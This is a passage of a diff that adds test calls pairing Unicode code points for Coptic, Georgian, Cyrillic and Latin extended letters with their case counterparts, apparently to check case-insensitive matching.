+test(0x2CB8, 0x2CB9); // COPTIC CAPITAL LETTER DIALECT-P KAPA, COPTIC SMALL LETTER DIALECT-P KAPA
+test(0x2CB9, 0x2CB8); // COPTIC SMALL LETTER DIALECT-P KAPA, COPTIC CAPITAL LETTER DIALECT-P KAPA
+test(0x2CBA, 0x2CBB); // COPTIC CAPITAL LETTER DIALECT-P NI, COPTIC SMALL LETTER DIALECT-P NI
+test(0x2CBB, 0x2CBA); // COPTIC SMALL LETTER DIALECT-P NI, COPTIC CAPITAL LETTER DIALECT-P NI
+test(0x2CBC, 0x2CBD); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI, COPTIC SMALL LETTER CRYPTOGRAMMIC NI
+test(0x2CBD, 0x2CBC); // COPTIC SMALL LETTER CRYPTOGRAMMIC NI, COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI
+test(0x2CBE, 0x2CBF); // COPTIC CAPITAL LETTER OLD COPTIC OOU, COPTIC SMALL LETTER OLD COPTIC OOU
+test(0x2CBF, 0x2CBE); // COPTIC SMALL LETTER OLD COPTIC OOU, COPTIC CAPITAL LETTER OLD COPTIC OOU
+test(0x2CC0, 0x2CC1); // COPTIC CAPITAL LETTER SAMPI, COPTIC SMALL LETTER SAMPI
+test(0x2CC1, 0x2CC0); // COPTIC SMALL LETTER SAMPI, COPTIC CAPITAL LETTER SAMPI
+test(0x2CC2, 0x2CC3); // COPTIC CAPITAL LETTER CROSSED SHEI, COPTIC SMALL LETTER CROSSED SHEI
+test(0x2CC3, 0x2CC2); // COPTIC SMALL LETTER CROSSED SHEI, COPTIC CAPITAL LETTER CROSSED SHEI
+test(0x2CC4, 0x2CC5); // COPTIC CAPITAL LETTER OLD COPTIC SHEI, COPTIC SMALL LETTER OLD COPTIC SHEI
+test(0x2CC5, 0x2CC4); // COPTIC SMALL LETTER OLD COPTIC SHEI, COPTIC CAPITAL LETTER OLD COPTIC SHEI
+test(0x2CC6, 0x2CC7); // COPTIC CAPITAL LETTER OLD COPTIC ESH, COPTIC SMALL LETTER OLD COPTIC ESH
+test(0x2CC7, 0x2CC6); // COPTIC SMALL LETTER OLD COPTIC ESH, COPTIC CAPITAL LETTER OLD COPTIC ESH
+test(0x2CC8, 0x2CC9); // COPTIC CAPITAL LETTER AKHMIMIC KHEI, COPTIC SMALL LETTER AKHMIMIC KHEI
+test(0x2CC9, 0x2CC8); // COPTIC SMALL LETTER AKHMIMIC KHEI, COPTIC CAPITAL LETTER AKHMIMIC KHEI
+test(0x2CCA, 0x2CCB); // COPTIC CAPITAL LETTER DIALECT-P HORI, COPTIC SMALL LETTER DIALECT-P HORI
+test(0x2CCB, 0x2CCA); // COPTIC SMALL LETTER DIALECT-P HORI, COPTIC CAPITAL LETTER DIALECT-P HORI
+test(0x2CCC, 0x2CCD); // COPTIC CAPITAL LETTER OLD COPTIC HORI, COPTIC SMALL LETTER OLD COPTIC HORI
+test(0x2CCD, 0x2CCC); // COPTIC SMALL LETTER OLD COPTIC HORI, COPTIC CAPITAL LETTER OLD COPTIC HORI
+test(0x2CCE, 0x2CCF); // COPTIC CAPITAL LETTER OLD COPTIC HA, COPTIC SMALL LETTER OLD COPTIC HA
+test(0x2CCF, 0x2CCE); // COPTIC SMALL LETTER OLD COPTIC HA, COPTIC CAPITAL LETTER OLD COPTIC HA
+test(0x2CD0, 0x2CD1); // COPTIC CAPITAL LETTER L-SHAPED HA, COPTIC SMALL LETTER L-SHAPED HA
+test(0x2CD1, 0x2CD0); // COPTIC SMALL LETTER L-SHAPED HA, COPTIC CAPITAL LETTER L-SHAPED HA
+test(0x2CD2, 0x2CD3); // COPTIC CAPITAL LETTER OLD COPTIC HEI, COPTIC SMALL LETTER OLD COPTIC HEI
+test(0x2CD3, 0x2CD2); // COPTIC SMALL LETTER OLD COPTIC HEI, COPTIC CAPITAL LETTER OLD COPTIC HEI
+test(0x2CD4, 0x2CD5); // COPTIC CAPITAL LETTER OLD COPTIC HAT, COPTIC SMALL LETTER OLD COPTIC HAT
+test(0x2CD5, 0x2CD4); // COPTIC SMALL LETTER OLD COPTIC HAT, COPTIC CAPITAL LETTER OLD COPTIC HAT
+test(0x2CD6, 0x2CD7); // COPTIC CAPITAL LETTER OLD COPTIC GANGIA, COPTIC SMALL LETTER OLD COPTIC GANGIA
+test(0x2CD7, 0x2CD6); // COPTIC SMALL LETTER OLD COPTIC GANGIA, COPTIC CAPITAL LETTER OLD COPTIC GANGIA
+test(0x2CD8, 0x2CD9); // COPTIC CAPITAL LETTER OLD COPTIC DJA, COPTIC SMALL LETTER OLD COPTIC DJA
+test(0x2CD9, 0x2CD8); // COPTIC SMALL LETTER OLD COPTIC DJA, COPTIC CAPITAL LETTER OLD COPTIC DJA
+test(0x2CDA, 0x2CDB); // COPTIC CAPITAL LETTER OLD COPTIC SHIMA, COPTIC SMALL LETTER OLD COPTIC SHIMA
+test(0x2CDB, 0x2CDA); // COPTIC SMALL LETTER OLD COPTIC SHIMA, COPTIC CAPITAL LETTER OLD COPTIC SHIMA
+test(0x2CDC, 0x2CDD); // COPTIC CAPITAL LETTER OLD NUBIAN SHIMA, COPTIC SMALL LETTER OLD NUBIAN SHIMA
+test(0x2CDD, 0x2CDC); // COPTIC SMALL LETTER OLD NUBIAN SHIMA, COPTIC CAPITAL LETTER OLD NUBIAN SHIMA
+test(0x2CDE, 0x2CDF); // COPTIC CAPITAL LETTER OLD NUBIAN NGI, COPTIC SMALL LETTER OLD NUBIAN NGI
+test(0x2CDF, 0x2CDE); // COPTIC SMALL LETTER OLD NUBIAN NGI, COPTIC CAPITAL LETTER OLD NUBIAN NGI
+test(0x2CE0, 0x2CE1); // COPTIC CAPITAL LETTER OLD NUBIAN NYI, COPTIC SMALL LETTER OLD NUBIAN NYI
+test(0x2CE1, 0x2CE0); // COPTIC SMALL LETTER OLD NUBIAN NYI, COPTIC CAPITAL LETTER OLD NUBIAN NYI
+test(0x2CE2, 0x2CE3); // COPTIC CAPITAL LETTER OLD NUBIAN WAU, COPTIC SMALL LETTER OLD NUBIAN WAU
+test(0x2CE3, 0x2CE2); // COPTIC SMALL LETTER OLD NUBIAN WAU, COPTIC CAPITAL LETTER OLD NUBIAN WAU
+test(0x2CEB, 0x2CEC); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI, COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI
+test(0x2CEC, 0x2CEB); // COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI, COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI
+test(0x2CED, 0x2CEE); // COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA, COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA
+test(0x2CEE, 0x2CED); // COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA, COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA
+test(0x2CF2, 0x2CF3); // COPTIC CAPITAL LETTER BOHAIRIC KHEI, COPTIC SMALL LETTER BOHAIRIC KHEI
+test(0x2CF3, 0x2CF2); // COPTIC SMALL LETTER BOHAIRIC KHEI, COPTIC CAPITAL LETTER BOHAIRIC KHEI
+test(0x2D00, 0x10A0); // GEORGIAN SMALL LETTER AN, GEORGIAN CAPITAL LETTER AN
+test(0x2D01, 0x10A1); // GEORGIAN SMALL LETTER BAN, GEORGIAN CAPITAL LETTER BAN
+test(0x2D02, 0x10A2); // GEORGIAN SMALL LETTER GAN, GEORGIAN CAPITAL LETTER GAN
+test(0x2D03, 0x10A3); // GEORGIAN SMALL LETTER DON, GEORGIAN CAPITAL LETTER DON
+test(0x2D04, 0x10A4); // GEORGIAN SMALL LETTER EN, GEORGIAN CAPITAL LETTER EN
+test(0x2D05, 0x10A5); // GEORGIAN SMALL LETTER VIN, GEORGIAN CAPITAL LETTER VIN
+test(0x2D06, 0x10A6); // GEORGIAN SMALL LETTER ZEN, GEORGIAN CAPITAL LETTER ZEN
+test(0x2D07, 0x10A7); // GEORGIAN SMALL LETTER TAN, GEORGIAN CAPITAL LETTER TAN
+test(0x2D08, 0x10A8); // GEORGIAN SMALL LETTER IN, GEORGIAN CAPITAL LETTER IN
+test(0x2D09, 0x10A9); // GEORGIAN SMALL LETTER KAN, GEORGIAN CAPITAL LETTER KAN
+test(0x2D0A, 0x10AA); // GEORGIAN SMALL LETTER LAS, GEORGIAN CAPITAL LETTER LAS
+test(0x2D0B, 0x10AB); // GEORGIAN SMALL LETTER MAN, GEORGIAN CAPITAL LETTER MAN
+test(0x2D0C, 0x10AC); // GEORGIAN SMALL LETTER NAR, GEORGIAN CAPITAL LETTER NAR
+test(0x2D0D, 0x10AD); // GEORGIAN SMALL LETTER ON, GEORGIAN CAPITAL LETTER ON
+test(0x2D0E, 0x10AE); // GEORGIAN SMALL LETTER PAR, GEORGIAN CAPITAL LETTER PAR
+test(0x2D0F, 0x10AF); // GEORGIAN SMALL LETTER ZHAR, GEORGIAN CAPITAL LETTER ZHAR
+test(0x2D10, 0x10B0); // GEORGIAN SMALL LETTER RAE, GEORGIAN CAPITAL LETTER RAE
+test(0x2D11, 0x10B1); // GEORGIAN SMALL LETTER SAN, GEORGIAN CAPITAL LETTER SAN
+test(0x2D12, 0x10B2); // GEORGIAN SMALL LETTER TAR, GEORGIAN CAPITAL LETTER TAR
+test(0x2D13, 0x10B3); // GEORGIAN SMALL LETTER UN, GEORGIAN CAPITAL LETTER UN
+test(0x2D14, 0x10B4); // GEORGIAN SMALL LETTER PHAR, GEORGIAN CAPITAL LETTER PHAR
+test(0x2D15, 0x10B5); // GEORGIAN SMALL LETTER KHAR, GEORGIAN CAPITAL LETTER KHAR
+test(0x2D16, 0x10B6); // GEORGIAN SMALL LETTER GHAN, GEORGIAN CAPITAL LETTER GHAN
+test(0x2D17, 0x10B7); // GEORGIAN SMALL LETTER QAR, GEORGIAN CAPITAL LETTER QAR
+test(0x2D18, 0x10B8); // GEORGIAN SMALL LETTER SHIN, GEORGIAN CAPITAL LETTER SHIN
+test(0x2D19, 0x10B9); // GEORGIAN SMALL LETTER CHIN, GEORGIAN CAPITAL LETTER CHIN
+test(0x2D1A, 0x10BA); // GEORGIAN SMALL LETTER CAN, GEORGIAN CAPITAL LETTER CAN
+test(0x2D1B, 0x10BB); // GEORGIAN SMALL LETTER JIL, GEORGIAN CAPITAL LETTER JIL
+test(0x2D1C, 0x10BC); // GEORGIAN SMALL LETTER CIL, GEORGIAN CAPITAL LETTER CIL
+test(0x2D1D, 0x10BD); // GEORGIAN SMALL LETTER CHAR, GEORGIAN CAPITAL LETTER CHAR
+test(0x2D1E, 0x10BE); // GEORGIAN SMALL LETTER XAN, GEORGIAN CAPITAL LETTER XAN
+test(0x2D1F, 0x10BF); // GEORGIAN SMALL LETTER JHAN, GEORGIAN CAPITAL LETTER JHAN
+test(0x2D20, 0x10C0); // GEORGIAN SMALL LETTER HAE, GEORGIAN CAPITAL LETTER HAE
+test(0x2D21, 0x10C1); // GEORGIAN SMALL LETTER HE, GEORGIAN CAPITAL LETTER HE
+test(0x2D22, 0x10C2); // GEORGIAN SMALL LETTER HIE, GEORGIAN CAPITAL LETTER HIE
+test(0x2D23, 0x10C3); // GEORGIAN SMALL LETTER WE, GEORGIAN CAPITAL LETTER WE
+test(0x2D24, 0x10C4); // GEORGIAN SMALL LETTER HAR, GEORGIAN CAPITAL LETTER HAR
+test(0x2D25, 0x10C5); // GEORGIAN SMALL LETTER HOE, GEORGIAN CAPITAL LETTER HOE
+test(0x2D27, 0x10C7); // GEORGIAN SMALL LETTER YN, GEORGIAN CAPITAL LETTER YN
+test(0x2D2D, 0x10CD); // GEORGIAN SMALL LETTER AEN, GEORGIAN CAPITAL LETTER AEN
+test(0xA640, 0xA641); // CYRILLIC CAPITAL LETTER ZEMLYA, CYRILLIC SMALL LETTER ZEMLYA
+test(0xA641, 0xA640); // CYRILLIC SMALL LETTER ZEMLYA, CYRILLIC CAPITAL LETTER ZEMLYA
+test(0xA642, 0xA643); // CYRILLIC CAPITAL LETTER DZELO, CYRILLIC SMALL LETTER DZELO
+test(0xA643, 0xA642); // CYRILLIC SMALL LETTER DZELO, CYRILLIC CAPITAL LETTER DZELO
+test(0xA644, 0xA645); // CYRILLIC CAPITAL LETTER REVERSED DZE, CYRILLIC SMALL LETTER REVERSED DZE
+test(0xA645, 0xA644); // CYRILLIC SMALL LETTER REVERSED DZE, CYRILLIC CAPITAL LETTER REVERSED DZE
+test(0xA646, 0xA647); // CYRILLIC CAPITAL LETTER IOTA, CYRILLIC SMALL LETTER IOTA
+test(0xA647, 0xA646); // CYRILLIC SMALL LETTER IOTA, CYRILLIC CAPITAL LETTER IOTA
+test(0xA648, 0xA649); // CYRILLIC CAPITAL LETTER DJERV, CYRILLIC SMALL LETTER DJERV
+test(0xA649, 0xA648); // CYRILLIC SMALL LETTER DJERV, CYRILLIC CAPITAL LETTER DJERV
+test(0xA64A, 0xA64B, 0x1C88); // CYRILLIC CAPITAL LETTER MONOGRAPH UK, CYRILLIC SMALL LETTER MONOGRAPH UK, CYRILLIC SMALL LETTER UNBLENDED UK
+test(0xA64B, 0x1C88, 0xA64A); // CYRILLIC SMALL LETTER MONOGRAPH UK, CYRILLIC SMALL LETTER UNBLENDED UK, CYRILLIC CAPITAL LETTER MONOGRAPH UK
+test(0xA64C, 0xA64D); // CYRILLIC CAPITAL LETTER BROAD OMEGA, CYRILLIC SMALL LETTER BROAD OMEGA
+test(0xA64D, 0xA64C); // CYRILLIC SMALL LETTER BROAD OMEGA, CYRILLIC CAPITAL LETTER BROAD OMEGA
+test(0xA64E, 0xA64F); // CYRILLIC CAPITAL LETTER NEUTRAL YER, CYRILLIC SMALL LETTER NEUTRAL YER
+test(0xA64F, 0xA64E); // CYRILLIC SMALL LETTER NEUTRAL YER, CYRILLIC CAPITAL LETTER NEUTRAL YER
+test(0xA650, 0xA651); // CYRILLIC CAPITAL LETTER YERU WITH BACK YER, CYRILLIC SMALL LETTER YERU WITH BACK YER
+test(0xA651, 0xA650); // CYRILLIC SMALL LETTER YERU WITH BACK YER, CYRILLIC CAPITAL LETTER YERU WITH BACK YER
+test(0xA652, 0xA653); // CYRILLIC CAPITAL LETTER IOTIFIED YAT, CYRILLIC SMALL LETTER IOTIFIED YAT
+test(0xA653, 0xA652); // CYRILLIC SMALL LETTER IOTIFIED YAT, CYRILLIC CAPITAL LETTER IOTIFIED YAT
+test(0xA654, 0xA655); // CYRILLIC CAPITAL LETTER REVERSED YU, CYRILLIC SMALL LETTER REVERSED YU
+test(0xA655, 0xA654); // CYRILLIC SMALL LETTER REVERSED YU, CYRILLIC CAPITAL LETTER REVERSED YU
+test(0xA656, 0xA657); // CYRILLIC CAPITAL LETTER IOTIFIED A, CYRILLIC SMALL LETTER IOTIFIED A
+test(0xA657, 0xA656); // CYRILLIC SMALL LETTER IOTIFIED A, CYRILLIC CAPITAL LETTER IOTIFIED A
+test(0xA658, 0xA659); // CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS, CYRILLIC SMALL LETTER CLOSED LITTLE YUS
+test(0xA659, 0xA658); // CYRILLIC SMALL LETTER CLOSED LITTLE YUS, CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS
+test(0xA65A, 0xA65B); // CYRILLIC CAPITAL LETTER BLENDED YUS, CYRILLIC SMALL LETTER BLENDED YUS
+test(0xA65B, 0xA65A); // CYRILLIC SMALL LETTER BLENDED YUS, CYRILLIC CAPITAL LETTER BLENDED YUS
+test(0xA65C, 0xA65D); // CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS, CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS
+test(0xA65D, 0xA65C); // CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS, CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS
+test(0xA65E, 0xA65F); // CYRILLIC CAPITAL LETTER YN, CYRILLIC SMALL LETTER YN
+test(0xA65F, 0xA65E); // CYRILLIC SMALL LETTER YN, CYRILLIC CAPITAL LETTER YN
+test(0xA660, 0xA661); // CYRILLIC CAPITAL LETTER REVERSED TSE, CYRILLIC SMALL LETTER REVERSED TSE
+test(0xA661, 0xA660); // CYRILLIC SMALL LETTER REVERSED TSE, CYRILLIC CAPITAL LETTER REVERSED TSE
+test(0xA662, 0xA663); // CYRILLIC CAPITAL LETTER SOFT DE, CYRILLIC SMALL LETTER SOFT DE
+test(0xA663, 0xA662); // CYRILLIC SMALL LETTER SOFT DE, CYRILLIC CAPITAL LETTER SOFT DE
+test(0xA664, 0xA665); // CYRILLIC CAPITAL LETTER SOFT EL, CYRILLIC SMALL LETTER SOFT EL
+test(0xA665, 0xA664); // CYRILLIC SMALL LETTER SOFT EL, CYRILLIC CAPITAL LETTER SOFT EL
+test(0xA666, 0xA667); // CYRILLIC CAPITAL LETTER SOFT EM, CYRILLIC SMALL LETTER SOFT EM
+test(0xA667, 0xA666); // CYRILLIC SMALL LETTER SOFT EM, CYRILLIC CAPITAL LETTER SOFT EM
+test(0xA668, 0xA669); // CYRILLIC CAPITAL LETTER MONOCULAR O, CYRILLIC SMALL LETTER MONOCULAR O
+test(0xA669, 0xA668); // CYRILLIC SMALL LETTER MONOCULAR O, CYRILLIC CAPITAL LETTER MONOCULAR O
+test(0xA66A, 0xA66B); // CYRILLIC CAPITAL LETTER BINOCULAR O, CYRILLIC SMALL LETTER BINOCULAR O
+test(0xA66B, 0xA66A); // CYRILLIC SMALL LETTER BINOCULAR O, CYRILLIC CAPITAL LETTER BINOCULAR O
+test(0xA66C, 0xA66D); // CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O, CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
+test(0xA66D, 0xA66C); // CYRILLIC SMALL LETTER DOUBLE MONOCULAR O, CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O
+test(0xA680, 0xA681); // CYRILLIC CAPITAL LETTER DWE, CYRILLIC SMALL LETTER DWE
+test(0xA681, 0xA680); // CYRILLIC SMALL LETTER DWE, CYRILLIC CAPITAL LETTER DWE
+test(0xA682, 0xA683); // CYRILLIC CAPITAL LETTER DZWE, CYRILLIC SMALL LETTER DZWE
+test(0xA683, 0xA682); // CYRILLIC SMALL LETTER DZWE, CYRILLIC CAPITAL LETTER DZWE
+test(0xA684, 0xA685); // CYRILLIC CAPITAL LETTER ZHWE, CYRILLIC SMALL LETTER ZHWE
+test(0xA685, 0xA684); // CYRILLIC SMALL LETTER ZHWE, CYRILLIC CAPITAL LETTER ZHWE
+test(0xA686, 0xA687); // CYRILLIC CAPITAL LETTER CCHE, CYRILLIC SMALL LETTER CCHE
+test(0xA687, 0xA686); // CYRILLIC SMALL LETTER CCHE, CYRILLIC CAPITAL LETTER CCHE
+test(0xA688, 0xA689); // CYRILLIC CAPITAL LETTER DZZE, CYRILLIC SMALL LETTER DZZE
+test(0xA689, 0xA688); // CYRILLIC SMALL LETTER DZZE, CYRILLIC CAPITAL LETTER DZZE
+test(0xA68A, 0xA68B); // CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK, CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK
+test(0xA68B, 0xA68A); // CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK, CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK
+test(0xA68C, 0xA68D); // CYRILLIC CAPITAL LETTER TWE, CYRILLIC SMALL LETTER TWE
+test(0xA68D, 0xA68C); // CYRILLIC SMALL LETTER TWE, CYRILLIC CAPITAL LETTER TWE
+test(0xA68E, 0xA68F); // CYRILLIC CAPITAL LETTER TSWE, CYRILLIC SMALL LETTER TSWE
+test(0xA68F, 0xA68E); // CYRILLIC SMALL LETTER TSWE, CYRILLIC CAPITAL LETTER TSWE
+test(0xA690, 0xA691); // CYRILLIC CAPITAL LETTER TSSE, CYRILLIC SMALL LETTER TSSE
+test(0xA691, 0xA690); // CYRILLIC SMALL LETTER TSSE, CYRILLIC CAPITAL LETTER TSSE
+test(0xA692, 0xA693); // CYRILLIC CAPITAL LETTER TCHE, CYRILLIC SMALL LETTER TCHE
+test(0xA693, 0xA692); // CYRILLIC SMALL LETTER TCHE, CYRILLIC CAPITAL LETTER TCHE
+test(0xA694, 0xA695); // CYRILLIC CAPITAL LETTER HWE, CYRILLIC SMALL LETTER HWE
+test(0xA695, 0xA694); // CYRILLIC SMALL LETTER HWE, CYRILLIC CAPITAL LETTER HWE
+test(0xA696, 0xA697); // CYRILLIC CAPITAL LETTER SHWE, CYRILLIC SMALL LETTER SHWE
+test(0xA697, 0xA696); // CYRILLIC SMALL LETTER SHWE, CYRILLIC CAPITAL LETTER SHWE
+test(0xA698, 0xA699); // CYRILLIC CAPITAL LETTER DOUBLE O, CYRILLIC SMALL LETTER DOUBLE O
+test(0xA699, 0xA698); // CYRILLIC SMALL LETTER DOUBLE O, CYRILLIC CAPITAL LETTER DOUBLE O
+test(0xA69A, 0xA69B); // CYRILLIC CAPITAL LETTER CROSSED O, CYRILLIC SMALL LETTER CROSSED O
+test(0xA69B, 0xA69A); // CYRILLIC SMALL LETTER CROSSED O, CYRILLIC CAPITAL LETTER CROSSED O
+test(0xA722, 0xA723); // LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF, LATIN SMALL LETTER EGYPTOLOGICAL ALEF
+test(0xA723, 0xA722); // LATIN SMALL LETTER EGYPTOLOGICAL ALEF, LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF
+test(0xA724, 0xA725); // LATIN CAPITAL LETTER EGYPTOLOGICAL AIN, LATIN SMALL LETTER EGYPTOLOGICAL AIN
+test(0xA725, 0xA724); // LATIN SMALL LETTER EGYPTOLOGICAL AIN, LATIN CAPITAL LETTER EGYPTOLOGICAL AIN
+test(0xA726, 0xA727); // LATIN CAPITAL LETTER HENG, LATIN SMALL LETTER HENG
+test(0xA727, 0xA726); // LATIN SMALL LETTER HENG, LATIN CAPITAL LETTER HENG
+test(0xA728, 0xA729); // LATIN CAPITAL LETTER TZ, LATIN SMALL LETTER TZ
+test(0xA729, 0xA728); // LATIN SMALL LETTER TZ, LATIN CAPITAL LETTER TZ
+test(0xA72A, 0xA72B); // LATIN CAPITAL LETTER TRESILLO, LATIN SMALL LETTER TRESILLO
+test(0xA72B, 0xA72A); // LATIN SMALL LETTER TRESILLO, LATIN CAPITAL LETTER TRESILLO
+test(0xA72C, 0xA72D); // LATIN CAPITAL LETTER CUATRILLO, LATIN SMALL LETTER CUATRILLO
+test(0xA72D, 0xA72C); // LATIN SMALL LETTER CUATRILLO, LATIN CAPITAL LETTER CUATRILLO
+test(0xA72E, 0xA72F); // LATIN CAPITAL LETTER CUATRILLO WITH COMMA, LATIN SMALL LETTER CUATRILLO WITH COMMA
+test(0xA72F, 0xA72E); // LATIN SMALL LETTER CUATRILLO WITH COMMA, LATIN CAPITAL LETTER CUATRILLO WITH COMMA
+test(0xA732, 0xA733); // LATIN CAPITAL LETTER AA, LATIN SMALL LETTER AA
+test(0xA733, 0xA732); // LATIN SMALL LETTER AA, LATIN CAPITAL LETTER AA
+test(0xA734, 0xA735); // LATIN CAPITAL LETTER AO, LATIN SMALL LETTER AO
+test(0xA735, 0xA734); // LATIN SMALL LETTER AO, LATIN CAPITAL LETTER AO
+test(0xA736, 0xA737); // LATIN CAPITAL LETTER AU, LATIN SMALL LETTER AU
+test(0xA737, 0xA736); // LATIN SMALL LETTER AU, LATIN CAPITAL LETTER AU
+test(0xA738, 0xA739); // LATIN CAPITAL LETTER AV, LATIN SMALL LETTER AV
+test(0xA739, 0xA738); // LATIN SMALL LETTER AV, LATIN CAPITAL LETTER AV
+test(0xA73A, 0xA73B); // LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR, LATIN SMALL LETTER AV WITH HORIZONTAL BAR
+test(0xA73B, 0xA73A); // LATIN SMALL LETTER AV WITH HORIZONTAL BAR, LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR
+test(0xA73C, 0xA73D); // LATIN CAPITAL LETTER AY, LATIN SMALL LETTER AY
+test(0xA73D, 0xA73C); // LATIN SMALL LETTER AY, LATIN CAPITAL LETTER AY
+test(0xA73E, 0xA73F); // LATIN CAPITAL LETTER REVERSED C WITH DOT, LATIN SMALL LETTER REVERSED C WITH DOT
+test(0xA73F, 0xA73E); // LATIN SMALL LETTER REVERSED C WITH DOT, LATIN CAPITAL LETTER REVERSED C WITH DOT
+test(0xA740, 0xA741); // LATIN CAPITAL LETTER K WITH STROKE, LATIN SMALL LETTER K WITH STROKE
+test(0xA741, 0xA740); // LATIN SMALL LETTER K WITH STROKE, LATIN CAPITAL LETTER K WITH STROKE
+test(0xA742, 0xA743); // LATIN CAPITAL LETTER K WITH DIAGONAL STROKE, LATIN SMALL LETTER K WITH DIAGONAL STROKE
+test(0xA743, 0xA742); // LATIN SMALL LETTER K WITH DIAGONAL STROKE, LATIN CAPITAL LETTER K WITH DIAGONAL STROKE
+test(0xA744, 0xA745); // LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE, LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE
+test(0xA745, 0xA744); // LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE, LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE
+test(0xA746, 0xA747); // LATIN CAPITAL LETTER BROKEN L, LATIN SMALL LETTER BROKEN L
+test(0xA747, 0xA746); // LATIN SMALL LETTER BROKEN L, LATIN CAPITAL LETTER BROKEN L
+test(0xA748, 0xA749); // LATIN CAPITAL LETTER L WITH HIGH STROKE, LATIN SMALL LETTER L WITH HIGH STROKE
+test(0xA749, 0xA748); // LATIN SMALL LETTER L WITH HIGH STROKE, LATIN CAPITAL LETTER L WITH HIGH STROKE
+test(0xA74A, 0xA74B); // LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY, LATIN SMALL LETTER O WITH LONG STROKE OVERLAY
+test(0xA74B, 0xA74A); // LATIN SMALL LETTER O WITH LONG STROKE OVERLAY, LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY
+test(0xA74C, 0xA74D); // LATIN CAPITAL LETTER O WITH LOOP, LATIN SMALL LETTER O WITH LOOP
+test(0xA74D, 0xA74C); // LATIN SMALL LETTER O WITH LOOP, LATIN CAPITAL LETTER O WITH LOOP
+test(0xA74E, 0xA74F); // LATIN CAPITAL LETTER OO, LATIN SMALL LETTER OO
+test(0xA74F, 0xA74E); // LATIN SMALL LETTER OO, LATIN CAPITAL LETTER OO
+test(0xA750, 0xA751); // LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER, LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER
+test(0xA751, 0xA750); // LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER, LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER
+test(0xA752, 0xA753); // LATIN CAPITAL LETTER P WITH FLOURISH, LATIN SMALL LETTER P WITH FLOURISH
+test(0xA753, 0xA752); // LATIN SMALL LETTER P WITH FLOURISH, LATIN CAPITAL LETTER P WITH FLOURISH
+test(0xA754, 0xA755); // LATIN CAPITAL LETTER P WITH SQUIRREL TAIL, LATIN SMALL LETTER P WITH SQUIRREL TAIL
+test(0xA755, 0xA754); // LATIN SMALL LETTER P WITH SQUIRREL TAIL, LATIN CAPITAL LETTER P WITH SQUIRREL TAIL
+test(0xA756, 0xA757); // LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER, LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER
+test(0xA757, 0xA756); // LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER, LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER
+test(0xA758, 0xA759); // LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE, LATIN SMALL LETTER Q WITH DIAGONAL STROKE
+test(0xA759, 0xA758); // LATIN SMALL LETTER Q WITH DIAGONAL STROKE, LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE
+test(0xA75A, 0xA75B); // LATIN CAPITAL LETTER R ROTUNDA, LATIN SMALL LETTER R ROTUNDA
+test(0xA75B, 0xA75A); // LATIN SMALL LETTER R ROTUNDA, LATIN CAPITAL LETTER R ROTUNDA
+test(0xA75C, 0xA75D); // LATIN CAPITAL LETTER RUM ROTUNDA, LATIN SMALL LETTER RUM ROTUNDA
+test(0xA75D, 0xA75C); // LATIN SMALL LETTER RUM ROTUNDA, LATIN CAPITAL LETTER RUM ROTUNDA
+test(0xA75E, 0xA75F); // LATIN CAPITAL LETTER V WITH DIAGONAL STROKE, LATIN SMALL LETTER V WITH DIAGONAL STROKE
+test(0xA75F, 0xA75E); // LATIN SMALL LETTER V WITH DIAGONAL STROKE, LATIN CAPITAL LETTER V WITH DIAGONAL STROKE
+test(0xA760, 0xA761); // LATIN CAPITAL LETTER VY, LATIN SMALL LETTER VY
+test(0xA761, 0xA760); // LATIN SMALL LETTER VY, LATIN CAPITAL LETTER VY
+test(0xA762, 0xA763); // LATIN CAPITAL LETTER VISIGOTHIC Z, LATIN SMALL LETTER VISIGOTHIC Z
+test(0xA763, 0xA762); // LATIN SMALL LETTER VISIGOTHIC Z, LATIN CAPITAL LETTER VISIGOTHIC Z
+test(0xA764, 0xA765); // LATIN CAPITAL LETTER THORN WITH STROKE, LATIN SMALL LETTER THORN WITH STROKE
+test(0xA765, 0xA764); // LATIN SMALL LETTER THORN WITH STROKE, LATIN CAPITAL LETTER THORN WITH STROKE
+test(0xA766, 0xA767); // LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER, LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER
